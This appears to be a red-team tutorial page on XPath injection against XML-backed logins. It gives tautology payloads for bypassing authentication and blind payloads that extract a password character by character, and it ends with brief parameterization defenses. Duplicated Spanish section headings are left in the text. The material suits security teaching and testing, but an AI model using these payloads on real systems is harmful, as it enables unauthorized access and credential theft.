📕 FIELD MANUAL 23.1: XPATH INJECTION (XML DRILLING)
Classification: RED TEAM EYES ONLY
0views
Classification: RED TEAM EYES ONLY
Objective: We will manipulate XPath queries in XML documents to bypass authentication or extract sensitive data in Legacy, SOAP, and SAML systems.
MITRE ATT&CK: T1078 (Valid Accounts), T1595.
1. INTEL & RECON: THE TREE LANGUAGE
Sección titulada «1. INTEL & RECON: EL LENGUAJE DEL ÁRBOL»We will use XPath to navigate XML tree structures. Typical Scenario (SOAP/XML Login):
<users> <user> <username>admin</username> <password>secret</password> </user></users>The Backend Query://user[username/text()='USER_INPUT' and password/text()='PASS_INPUT']
Differences with SQL:
- There are no “Tables”, there are “Nodes”.
- Blind injection is critical because we often do not see the response XML.
2. ARMAMENT: THE ART OF XML BYPASS
Sección titulada «2. ARMAMENTISMO: EL ARTE DEL BYPASS XML»TECHNIQUE A: XPath Tautology (Authentication Bypass)
Sección titulada «TÉCNICA A: Tautología XPath (Elusión de Autenticación)»We want the condition to always be true.
- Classic SQL:
' OR 1=1 -- - Equivalent XPath:
' or '1'='1 - Resulting Query:
//user[username/text()='admin' or '1'='1' and password/text()='...'](Since ‘1’=‘1’ is true, the OR condition makes everything true. Successful Login).
TECHNIQUE B: Blind XPath (Data Extraction)
Sección titulada «TÉCNICA B: Blind XPath (Extracción de Datos)»We will extract data character by character, similar to Blind SQLi.
Key functions: string-length() and substring().
- Question: Is the first user's password length 5?
Payload:
' or string-length(//user[1]/password) = 5 or '1'='2 - Question: Is the first letter 'a'?
Payload:
' or substring(//user[1]/password, 1, 1) = 'a' or '1'='2
3. PURPLE TEAM VISION (DEFENSE)
Sección titulada «3. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»- Defense:
- Parameterized Variables: We will use variables in the XPath engine (
$username) instead of concatenating strings. - Pre-compiled XPath: Similar to SQL Prepared Statements.
- Parameterized Variables: We will use variables in the XPath engine (

